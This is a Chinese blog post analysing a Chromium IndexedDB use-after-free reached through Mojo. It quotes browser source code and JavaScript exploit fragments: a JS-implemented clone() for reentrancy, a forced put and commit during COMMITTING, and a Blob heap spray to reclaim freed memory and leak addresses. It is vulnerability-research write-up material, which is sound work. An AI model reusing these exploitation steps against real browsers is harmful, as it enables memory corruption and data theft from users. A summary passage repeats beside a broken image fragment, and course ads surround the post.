通过几行 JS 就可以读取电脑上的所有数据?

Root Case

下面我们先来看一下漏洞的产生原理,从补丁开始入手,其中最主要的就是下面这个函数:

 bool IsAcceptingRequests() {return !is_commit_pending_ && state_ != COMMITTING && state_ != FINISHED;} 

补丁在每个DatabaseImpl和TransactionImpl接口中添加了该判断,使得处于COMMITTING和FINISHED状态的transaction无法执行,那么反过来思考就是说在这两个状态下继续进行新的transaction就会导致漏洞的产生。

而对于FINISHED状态,如同字面上的意思它代表结束,并没有什么好入手的点,所以我们更多的把精力放在COMMITTING状态,该状态可以通过IndexedDBTransaction::Commit()和TransactionImpl::Commit()这两个函数来进行设置,这里有一个有趣的调用链:

 IndexedDBTransaction::Commit --> IndexedDBBackingStore::Transaction::CommitPhaseOne --> IndexedDBBackingStore::Transaction::WriteNewBlobs} 

其中,会调用blob_storage或file_system_access,将提交数据写入磁盘,代码如下:

 case IndexedDBExternalObject::ObjectType::kFile:case IndexedDBExternalObject::ObjectType::kBlob: {if (entry.size() == 0)continue;// If this directory creation fails then the WriteBlobToFile call// will fail. So there is no need to special-case handle it here.base::FilePath path = GetBlobDirectoryNameForKey(backing_store_->blob_path_, database_id_, entry.blob_number());backing_store_->filesystem_proxy_->CreateDirectory(path);// TODO(dmurph): Refactor IndexedDBExternalObject to not use a// SharedRemote, so this code can just move the remote, instead of// cloning.mojo::PendingRemote<blink::mojom::Blob> pending_blob;entry.remote()->Clone(pending_blob.InitWithNewPipeAndPassReceiver());// Android doesn't seem to consistently be able to set file// modification times. The timestamp is not checked during reading// on Android either. https://crbug.com/1045488absl::optional<base::Time> last_modified;blob_storage_context->WriteBlobToFile(std::move(pending_blob),backing_store_->GetBlobFileName(database_id_,entry.blob_number()),IndexedDBBackingStore::ShouldSyncOnCommit(durability_),last_modified, write_result_callback);break;}} 
 case IndexedDBExternalObject::ObjectType::kFileSystemAccessHandle: {if (!entry.file_system_access_token().empty())continue;// TODO(dmurph): Refactor IndexedDBExternalObject to not use a// SharedRemote, so this code can just move the remote, instead of// cloning.mojo::PendingRemote<blink::mojom::FileSystemAccessTransferToken>token_clone;entry.file_system_access_token_remote()->Clone(token_clone.InitWithNewPipeAndPassReceiver());backing_store_->file_system_access_context_->SerializeHandle(std::move(token_clone),base::BindOnce([](base::WeakPtr<Transaction> transaction, IndexedDBExternalObject* object, base::OnceCallback<void( storage::mojom::WriteBlobToFileResult)> callback, const std::vector<uint8_t>& serialized_token) {// |object| is owned by |transaction|, so make sure// |transaction| is still valid before doing anything else.if (!transaction)return;if (serialized_token.empty()) {std::move(callback).Run(storage::mojom::WriteBlobToFileResult::kError);return;}object->set_file_system_access_token(serialized_token);std::move(callback).Run(storage::mojom::WriteBlobToFileResult::kSuccess);},weak_ptr_factory_.GetWeakPtr(), &entry,write_result_callback));break;}} 

这里我们重点看一下kFileSystemAccessHandle这种情况,这里我们可以利用Clone来重入js,紧急插入一些基础知识科普,我们先从下面这个例子开始说起,这是一个常见的绑定接口的操作:

var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
Mojo.bindInterface(blink.mojom.FileSystemAccessTransferToken.name, fileAccessRequest.handle); 

【一>所有资源获取<一】 1、网络安全学习路线 2、电子书籍(白帽子) 3、安全大厂内部视频 4、100份src文档 5、常见安全面试题 6、ctf大赛经典题目解析 7、全套工具包

这里画了一个图帮助理解:

fileAccessPtr和fileAccessRequest分别代表interface连接的client端和service端,这里是通过mojo.makeRequest来实现的。

mojo.makeRequest创建一个message pipe,用pipe的一端填充output参数(可以是InterfacePtrInfo或interface pointer),返回包装在InterfaceRequest实例中的另一端。

 // |output| could be an interface pointer, InterfacePtrInfo or// AssociatedInterfacePtrInfo.function makeRequest(output) {if (output instanceof mojo.AssociatedInterfacePtrInfo) {var {handle0, handle1} = internal.createPairPendingAssociation();output.interfaceEndpointHandle = handle0;output.version = 0;return new mojo.AssociatedInterfaceRequest(handle1);}if (output instanceof mojo.InterfacePtrInfo) {var pipe = Mojo.createMessagePipe();output.handle = pipe.handle0;output.version = 0;return new mojo.InterfaceRequest(pipe.handle1);}var pipe = Mojo.createMessagePipe();output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));return new mojo.InterfaceRequest(pipe.handle1);} 

Mojo.bindInterface会调用bindInterface函数

 //third_party/blink/renderer/core/mojo/mojo.cc
// static
void Mojo::bindInterface(ScriptState* script_state, const String& interface_name, MojoHandle* request_handle, const String& scope) {std::string name = interface_name.Utf8();auto handle =mojo::ScopedMessagePipeHandle::From(request_handle->TakeHandle());if (scope == "process") {Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(mojo::GenericPendingReceiver(name, std::move(handle)));return;}ExecutionContext::From(script_state)->GetBrowserInterfaceBroker().GetInterface(name, std::move(handle));
} 

通过从render和browser之间已经建立好的BrowserInterfaceBroker来通过GetInterface去调用之前通过map->Add注册好的bind函数,简单来说就是创建对应mojo接口的implement对象,然后和Receiver绑定到一起。 这样就可以通过render的remote来调用browser里的代码了。

那么如何实现重入js呢?

 function FileSystemAccessTransferTokenImpl() {this.binding = new mojo.Binding(blink.mojom.FileSystemAccessTransferToken, this);
}
FileSystemAccessTransferTokenImpl.prototype = {clone: async (arg0) => {// 自定义}
};

var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
var fileAccessImpl = new FileSystemAccessTransferTokenImpl();
var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
fileAccessImpl.binding.bind(fileAccessRequest); 

首先需要在render层(也就是js)实现一个fileAccessImpl,之后自定义一个想要的clone方法,再利用mojo.Binding.bind的方法将mojo.makeRequest返回的InterfaceRequest绑定到js实现的fileAccessImpl上。

 // -----------------------------------// |request| could be omitted and passed into bind() later. Example:// FooImpl implements mojom.Foo.//function FooImpl() { ... }//FooImpl.prototype.fooMethod1 = function() { ... }//FooImpl.prototype.fooMethod2 = function() { ... }var fooPtr = new mojom.FooPtr();//var request = makeRequest(fooPtr);//var binding = new Binding(mojom.Foo, new FooImpl(), request);//fooPtr.fooMethod1();function Binding(interfaceType, impl, requestOrHandle) {this.interfaceType_ = interfaceType;this.impl_ = impl;this.router_ = null;this.interfaceEndpointClient_ = null;this.stub_ = null;if (requestOrHandle)this.bind(requestOrHandle);}......Binding.prototype.bind = function(requestOrHandle) {this.close();var handle = requestOrHandle instanceof mojo.InterfaceRequest ?requestOrHandle.handle : requestOrHandle;if (!(handle instanceof MojoHandle))return;this.router_ = new internal.Router(handle);this.stub_ = new this.interfaceType_.stubClass(this.impl_);this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient(this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId),this.stub_, this.interfaceType_.kVersion);this.interfaceEndpointClient_ .setPayloadValidators([this.interfaceType_.validateRequest]);}; 

这样就不需要从render发送PendingReceiver给Browser,去调用browser侧的interface implemention,也就变成了从render来调用render里的代码。

之后我们将remote传入external_object

var external_object = new blink.mojom.IDBExternalObject();
external_object.fileSystemAccessToken = fileAccessPtr; 

之后在IndexedDBBackingStore::Transaction::WriteNewBlobs中通过entry.file_system_access_token_remote()获取传入的remote,之后调用的clone就会是我们定义的js代码,即实现了重入js。

entry.file_system_access_token_remote()->Clone(token_clone.InitWithNewPipeAndPassReceiver()); 

这里我们定义的clone如下:

 FileSystemAccessTransferTokenImpl.prototype = {clone: async (arg0) => {// IndexedDBBackingStore::Transaction::WriteNewBlobs is waiting for writing complete, so we can hookup COMMITTING state_ of transition// replace key/value in object store to delete the external objectprint("=== clone ===");var value = new blink.mojom.IDBValue();value.bits = [0x41, 0x41, 0x41, 0x41];value.externalObjects = [];var key = new blink.mojom.IDBKey();key.string = new mojoBase.mojom.String16();key.string.data = "key";var mode = blink.mojom.IDBPutMode.AddOrUpdate;var index_keys = [];idbTransactionPtr.put(object_store_id, value, key, mode, index_keys);// commit force put operationidbTransactionPtr.commit(0);for(let i = 0; i < 0x1000; i++){var a=new Blob([heap1]);blob_list.push(a);}done = true; // get token for file handle, control-flow comeback to callback within cached external object ==> UAFfileAccessHandlePtr.transfer(arg0);}}; 

这里有一个需要注意的地方:

 entry.file_system_access_token_remote()->Clone(token_clone.InitWithNewPipeAndPassReceiver());backing_store_->file_system_access_context_->SerializeHandle 

clone在这里是异步调用的,我们需要根据实际情况来确定执行顺序。 下面涉及到uaf的主要成因,将分成三个部分来讲:

1、uaf的成因

external_objects的释放涉及到两次put请求,释放发生在clone重入的第二次put中。 释放external_objects的调用链如下:

TransactionImpl::Put —> IndexedDBDatabase::PutOperation —> IndexedDBBackingStore::PutRecord —> IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded 

在TransactionImpl::Put需要注意一下params,他存储了我们传入的object_store_id, value, key, mode, index_keys,几个关键部分的偏移如下:

params->object_store_id偏移:0x0
params->value偏移:0x8~0x30
params->key偏移:0x38 

params->value的类型为IndexedDBValue

struct CONTENT_EXPORT IndexedDBValue {
......std::string bits;std::vector<IndexedDBExternalObject> external_objects;
}; 

由于我们之后要释放external_object,在这里打了一个log来输出他的地址和大小,这个184也就是之后我们要堆喷的大小。

这个图是clone中第二次调用,在第二次put时我们传入了空的external_object,bits(也就是之后要用到的key)仍与第一次相同

free发生在此处,由于我们第二次传入的external_object为空,将会走到external_object_change_map_.erase,由于两次的object_store_data_key相同,将会把第一次传入的external_object给释放掉。

Status IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded(int64_t database_id,const std::string& object_store_data_key,std::vector<IndexedDBExternalObject>* external_objects) {DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);if (!external_objects || external_objects->empty()) {external_object_change_map_.erase(object_store_data_key); //free here!!incognito_external_object_map_.erase(object_store_data_key);.......
}

class IndexedDBExternalObjectChangeRecord {........

private:std::string object_store_data_key_;std::vector<IndexedDBExternalObject> external_objects_;
}; 

调试一下两次PutExternalObjectsIfNeeded,可以看到object_store_data_key是相同的。

2、clone中commit的作用

由于clone是在上次commit中被调用的,此时我们正处于上一个事务的提交过程中,此时只进行put请求的话并不会直接处理该事务,而是会优先处理完上一个操作,可以看下面的图:

而我们的free操作是发生在put中的,如果想要泄漏出token的地址,就需要put先于set_file_system_access_token执行,这里使用了commit来强制提交put,这样相当于put进行了插队,即可实现我们想要的效果。

此时又会产生一个新的问题,在这里再次调用commit不会继续调用clone重入吗?

答案是不会的,让我们来看下面这块代码:

IndexedDBTransaction::RunTasks() {.......// If there are no pending tasks, we haven't already committed/aborted,// and the front-end requested a commit, it is now safe to do so.if (!HasPendingTasks() && state_ == STARTED && is_commit_pending_) {processing_event_queue_ = false;// This can delete |this|.leveldb::Status result = Commit(); //IndexedDBTransaction::Commit()if (!result.ok())return {RunTasksResult::kError, result};}....... 
} 

可以看到只有当state == STARTED的时候才会调用IndexedDBTransaction::Commit,进而去调用 WriteNewBlobs,我们第二次调用commit的时候此时的state已经是COMMITTING了。 第一次commit:

第二次commit:

3、transfer的作用

首先我们先来看这段调用链:

FileSystemAccessManagerImpl::SerializeHandle --> FileSystemAccessManagerImpl::ResolveTransferToken --> FileSystemAccessManagerImpl::DoResolveTransferToken--> FileSystemAccessManagerImpl::DoResolveTransferToken --> FileSystemAccessManagerImpl::DidResolveForSerializeHandle 

可以看到在DoResolveTransferToken调用时需要从transfer_tokens_找到一个token才能最终走到SerializeHandle的回调中

void FileSystemAccessManagerImpl::DoResolveTransferToken(mojo::Remote<blink::mojom::FileSystemAccessTransferToken>,ResolvedTokenCallback callback,const base::UnguessableToken& token) {DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);auto it = transfer_tokens_.find(token);if (it == transfer_tokens_.end()) {std::move(callback).Run(nullptr);} else {std::move(callback).Run(it->second.get());}
} 

所以我们需要在clone中调用fileAccessHandlePtr.transfer(arg0);

void FileSystemAccessManagerImpl::DidResolveForSerializeHandle(SerializeHandleCallback callback,FileSystemAccessTransferTokenImpl* resolved_token) {if (!resolved_token) {std::move(callback).Run({});return;}.......std::string value;bool success = data.SerializeToString(&value);DCHECK(success);std::vector<uint8_t> result(value.begin(), value.end());std::move(callback).Run(result);
} 

之后传入DoResolveTransferToken的FileSystemAccessTransferTokenImpl经过处理变为了result,它即object->set_file_system_access_token(serialized_token)中的serialized_token。

 backing_store_->file_system_access_context_->SerializeHandle(std::move(token_clone),base::BindOnce([](base::WeakPtr<Transaction> transaction, IndexedDBExternalObject* object, base::OnceCallback<void( storage::mojom::WriteBlobToFileResult)> callback, const std::vector<uint8_t>& serialized_token) {// |object| is owned by |transaction|, so make sure// |transaction| is still valid before doing anything else.if (!transaction)return;if (serialized_token.empty()) {std::move(callback).Run(storage::mojom::WriteBlobToFileResult::kError);return;}object->set_file_system_access_token(serialized_token);std::move(callback).Run(storage::mojom::WriteBlobToFileResult::kSuccess);},weak_ptr_factory_.GetWeakPtr(), &entry,write_result_callback));break; 

这里需要注意一点:

在SerializeToString序列化的过程中,会计算出一个8字节的内容填充在token的最前面,后续才是我们的file_name,所以在用file_name去控制token大小时需要注意token的大小会大file_name0x8。

小结

上面分了三个部分来讲,下面我们整合一下上面的内容:

zoom-in-crop-mark:4536:0:0:0.image" style=“margin: auto” />

在SerializeToString序列化的过程中,会计算出一个8字节的内容填充在token的最前面,后续才是我们的file_name,所以在用file_name去控制token大小时需要注意token的大小会大file_name0x8。

小结

上面分了三个部分来讲,下面我们整合一下上面的内容:

  • 我们可以使用clone重入js,即可在clone中二次调用put。* 第二次put中如果传入key相同的空external_object将会释放第一次put的external_object。* 通过transer将token传入了set_file_system_access_token。* 通过commit来插队使得PutExternalObjectsIfNeeded先于set_file_system_access_token执行* 通过blob申请回free掉的external_object,之后set_file_system_access_token将会将token写入我们的blob,之后通过读取blob即可获得token(vector容器)的begin等地址。## 网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

img

第二阶段:Web渗透(初级网安工程师)

img

第三阶段:进阶部分(中级网络安全工程师)

img

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资源分享

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 23
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值